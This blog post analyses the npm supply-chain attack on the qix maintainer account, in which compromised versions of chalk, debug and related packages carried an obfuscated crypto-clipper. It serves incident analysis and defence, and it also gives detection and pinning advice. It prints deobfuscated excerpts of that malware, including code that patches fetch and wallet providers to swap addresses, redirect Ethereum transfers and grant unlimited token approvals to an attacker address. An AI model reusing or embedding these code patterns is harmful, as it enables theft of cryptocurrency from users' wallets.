The 
NPM 
Supply 
Chain 
Attack 
That... 
Stole 
Crypto?
Tags:
  • security
  • npm
  • supply-chain
  • cryptocurrency
  • javascript

Introduction

The NPM account of popular maintainer qix was compromised, leading to malicious versions of fundamental packages like chalk, debug, strip-ansi, and color-convert being published. With combined weekly downloads exceeding one billion, this attack had the potential to compromise virtually every JavaScript project on the planet.

The attack wasn't just about stealing data—it was specifically designed to hijack cryptocurrency transactions and steal funds directly from users' wallets.

The Anatomy of the Attack

The compromise began with a sophisticated phishing email that perfectly mimicked NPM's official 2FA reset communications. The attention to detail was so precise that even an experienced maintainer fell victim to it. Once the attacker gained access to the qix NPM account, they systematically published malicious patch versions across dozens of high-impact packages.

Timeline:

  • Phishing (2FA reset spoof) → maintainer account takeover
  • Malicious patch versions published across core packages (chalk, debug, strip-ansi, color-convert)
  • Detection via CI failures and community reports
  • Remediation: clean republish, permission revocations, and NPM takedowns

The affected packages included:

  • chalk (300+ million weekly downloads)
  • debug (200+ million weekly downloads)
  • strip-ansi (261+ million weekly downloads)
  • color-convert (193+ million weekly downloads)
  • ansi-styles, supports-color, has-ansi, and many others

These aren't obscure libraries—they're foundational utilities buried deep in the dependency trees of virtually every JavaScript project.

Dissecting the Malicious Code

The injected payload was a heavily obfuscated crypto-clipper designed to steal cryptocurrency through two distinct attack vectors. You can examine the complete malicious code here.

The malware first checks for the presence of window.ethereum, which is the standard object injected by wallet extensions like MetaMask. Based on this detection, it chooses between passive address swapping or active wallet hijacking.

Passive Address Swapping

When no wallet is detected, the malware monkey-patches the browser's native fetch and XMLHttpRequest functions:

// Intercepts fetch responses and swaps detected crypto addresses
const _0x4664e9 = fetch;
fetch = async function (..._0x1ae7ec) {
  const _0x406ee2 = await _0xba16ef.tfqRA(_0x4664e9, ..._0x1ae7ec),
    _0x207752 = _0x406ee2.headers.get('Content-Type') || '';
  let _0x561841;
  _0x207752.includes('application/json') ? (_0x561841 = await _0x406ee2.clone().json()) : (_0x561841 = await _0x406ee2.clone().text());
  // Address replacement logic follows...
};

This interception allows the malware to scan every HTTP response for cryptocurrency addresses across multiple chains. The script contains extensive lists of attacker-owned addresses for Bitcoin, Ethereum, Solana, Tron, Litecoin, and Bitcoin Cash.

The sophisticated part is the address selection algorithm. Instead of random replacement, the malware uses the Levenshtein distance algorithm to find the most visually similar address:

// Calculates Levenshtein distance and picks the closest attacker address
function _0x3479c8(_0x13a5cc, _0x8c209f) {
  // Levenshtein distance calculation
  const _0x50715b = Array.from({ length: _0x13a5cc.length + 1 }, () => Array(_0x8c209f.length + 1).fill(0));
  // Distance matrix calculation...
  return _0x50715b[_0x13a5cc.length][_0x8c209f.length];
}

function _0x2abae0(_0x348925, _0x2f1e3d) {
  let _0xff60d1 = Infinity,
    _0x5be3d3 = null;
  for (let _0x214c8b of _0x2f1e3d) {
    const _0x3a7411 = _0x3479c8(_0x348925.toLowerCase(), _0x214c8b.toLowerCase());
    _0x3a7411 < _0xff60d1 && ((_0xff60d1 = _0x3a7411), (_0x5be3d3 = _0x214c8b));
  }
  return _0x5be3d3;
}

This technique makes address swaps incredibly difficult to detect visually, exploiting human perception limitations.

Active Wallet Hijacking

When a wallet is detected, the malware launches its most dangerous component by patching the wallet's communication methods:

// Wraps provider methods to intercept eth_sendTransaction and rewrite payloads
function _0x485f9d(_0x38473f, _0x292c7a) {
  return async function (..._0x59af19) {
    _0x1c41fa++;
    let _0x12a7cb;
    try {
      _0x12a7cb = JSON.parse(JSON.stringify(_0x59af19));
    } catch (_0x5d1767) {
      _0x12a7cb = [..._0x59af19];
    }
    if (_0x59af19[0] && typeof _0x59af19[0] === 'object') {
      const _0x2c3d7e = _0x12a7cb[0];
      if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
        try {
          const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);
          _0x2c3d7e.params[0] = _0x39ad21;
        } catch (_0x226343) {}
      }
    }
    // Execute original function with modified parameters
    return _0x38473f.apply(this, _0x12a7cb);
  };
}

Understanding Wallet Communication Protocols

To understand the attack's severity, you need to understand how browser-based cryptocurrency wallets operate.

MetaMask injects a global window.ethereum object that implements the EIP-1193 standard. This object provides methods like request(), send(), and sendAsync() that decentralized applications use to communicate with the wallet.

Note: request() is the primary EIP-1193 surface; send/sendAsync are legacy/shimmed and should generally be avoided.

The normal transaction flow looks like this:

  1. DApp prepares a transaction object with recipient address, value, and data
  2. DApp calls window.ethereum.request({method: 'eth_sendTransaction', params: [transaction]})
  3. MetaMask displays the transaction details for user approval
  4. User reviews and signs the transaction
  5. MetaMask broadcasts the signed transaction to the blockchain

Solana wallets like Phantom work similarly but use different method names like solana_signTransaction and solana_signAndSendTransaction.

Deep Dive into Transaction Manipulation

The malware's transaction manipulation was surgical and comprehensive. Let's examine the specific attack patterns:

Ethereum Transaction Hijacking

For eth_sendTransaction requests, the malware implemented multiple attack vectors:

Value Transfer Redirection

if (_0x13d8ee.value && _0x13d8ee.value !== '0x0' && _0x13d8ee.value !== '0') {
  const _0x5c6391 = _0x13d8ee.to;
  _0x13d8ee.to = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';
}

Any transaction with a non-zero value gets redirected to the attacker's address: 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976.

ERC-20 Token Approval Hijacking

if (_0x250e27.startsWith('0x095ea7b3')) {
  if (_0x250e27.length >= 74) {
    const _0x7fa5f0 = _0x250e27.substring(0, 10),
      _0x15c4f9 = '0x' + _0x250e27.substring(34, 74),
      _0xde14cc = 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart(64, '0'),
      _0x3e4a11 = 'f'.repeat(64);
    _0x13d8ee.data = _0x7fa5f0 + _0xde14cc + _0x3e4a11;
  }
}

For ERC-20 approve() calls (function selector 0x095ea7b3), the malware rewrites the spender to the attacker and sets the approval amount to maximum (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff).

ERC-20 Transfer Redirection

if (_0x250e27.startsWith('0xa9059cbb')) {
  if (_0x250e27.length >= 74) {
    const _0x5d2193 = _0x250e27.substring(0, 10),
      _0x1493e2 = _0x250e27.substring(74),
      _0x32c34c = 'Fc4a4858bafef54D1b1d7697bfb5c52F4c166976'.padStart(64, '0');
    _0x13d8ee.data = _0x5d2193 + _0x32c34c + _0x1493e2;
  }
}

For ERC-20 transfer() calls (function selector 0xa9059cbb), the recipient gets replaced with the attacker's address.

Solana Transaction Manipulation

For Solana transactions, the malware was more destructive:

// Rewrites Solana instruction accounts to a hardcoded address, often breaking transactions
_0x13d8ee.instructions &&
  Array.isArray(_0x13d8ee.instructions) &&
  _0x13d8ee.instructions.forEach((_0x190501) => {
    _0x190501.accounts &&
      Array.isArray(_0x190501.accounts) &&
      _0x190501.accounts.forEach((_0x2b9990) => {
        if (typeof _0x2b9990 === 'string') {
          _0x2b9990 = '19111111111111111111111111111111';
        } else {
          _0x2b9990.pubkey && (_0x2b9990.pubkey = '19111111111111111111111111111111');
        }
      });
  });

All public keys in transaction instructions get replaced with the hardcoded address 19111111111111111111111111111111. This address appears to be a variation of Solana's system program address 11111111111111111111111111111111, but with "19" instead of "11" at the beginning. Using this malformed address would likely cause Solana transactions to fail, suggesting the Solana attack vector was designed more to break transactions than successfully steal funds.

Tracking the Stolen Funds

The primary Ethereum address used in the attack is 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976. Etherscan has labeled this address as "NPM Exploiter 1", confirming its connection to the supply chain attack.

Interestingly, the address doesn't show massive transaction volumes, suggesting either the attack had limited success. The relatively low activity could indicate that the quick response from the community and package maintainers prevented widespread exploitation.

The Stealth Control Interface

The malware exposed a debugging interface through window.stealthProxyControl:

// Publishes a control object to toggle hijacking and inspect status
window.stealthProxyControl = {
  isActive: () => _0x1ab7cb,
  getInterceptCount: () => _0x1c41fa,
  getOriginalMethods: () => _0x2a20cb,
  forceShield: () => {
    if (window.ethereum) {
      return _0x41630a(window.ethereum);
    }
    return false;
  },
};

This interface allowed the attacker to monitor the malware's status and manually trigger wallet hijacking if needed.

Detection and Response

The attack was first detected through build failures in CI/CD pipelines. The malware's attempt to use fetch() in Node.js environments caused obvious errors since older Node.js versions don't have a global fetch function.

The JavaScript community's response was swift. Maintainers like Sindre Sorhus immediately published clean versions of affected packages and removed the compromised account from package permissions. NPM eventually took down the malicious versions, though the response time highlighted gaps in the platform's security monitoring.

Quick check to see if you're affected (tip from Sindre Sorhus):

rg -uu --max-columns=80 --glob '*.js' _0x112fa8

Protection Strategies

Immediate Actions

  1. Audit dependencies: Check for compromised versions in your dependency tree
  2. Pin safe versions: Use package.json overrides to force specific versions:
{
  "overrides": {
    "chalk": "5.3.0",
    "debug": "4.4.1",
    "strip-ansi": "7.1.0",
    "color-convert": "2.0.1"
  }
}
  1. Regenerate lockfiles: Delete node_modules and lockfiles, then reinstall

Long-term Security Practices

Dependency Management

  • Implement automated vulnerability scanning in CI/CD pipelines
  • Use tools like npm audit and Snyk for continuous monitoring
  • Review lockfile changes during code reviews
  • Consider using npm ci in production to ensure reproducible builds

Wallet Security

  • Always verify transaction details directly on hardware wallets
  • Use multi-signature wallets for high-value transactions
  • Monitor wallet addresses with blockchain explorers
  • Consider using browser extensions that detect address manipulation

The Broader Implications

This attack demonstrates the fragility of our software supply chain. The JavaScript ecosystem's heavy reliance on transitive dependencies means a single compromised package can affect millions of applications instantly.

The cryptocurrency-specific payload shows how attackers are adapting to exploit the growing adoption of digital assets. As DeFi and Web3 applications become mainstream, we can expect more sophisticated attacks targeting the intersection of traditional web development and cryptocurrency.

The attack also highlights the need for better security practices across the entire ecosystem. Package registries need improved monitoring, maintainers need better security training, and developers need more robust dependency management practices.

Conclusion

This incident shows how a single compromised maintainer can ripple through the entire JS ecosystem. The crypto-focused payload created real end-user risk, but rapid community action limited impact.

Treat dependencies as untrusted inputs: pin and audit them, verify changes, and build defense-in-depth so a future compromise can’t silently exfiltrate value.

Affiliate Links

Fastmail

Game-changer for managing multiple email accounts in one place. New users get 10% off!

Code: 7aa3c189

Tangem wallet

Secure hardware wallet for crypto assets. Get 10% discount on your first purchase!

Code: ZQ6MMC

1Password

The best password manager I've used. Secure, easy to use, and saves countless hours.

Freedom24

Invest safely and get a free stock up to $700 when you open an account.

Code: 2915527

ClickUp

The best way to manage your tasks and projects. Get 10% off your first month!

Hetzner

Solid cloud infra, great support, and a great price. Receive €20 in cloud credits.

Code: 3UskohfB0X36

Using these referral links helps support my work. I only recommend products I use and trust. Thank you for your support!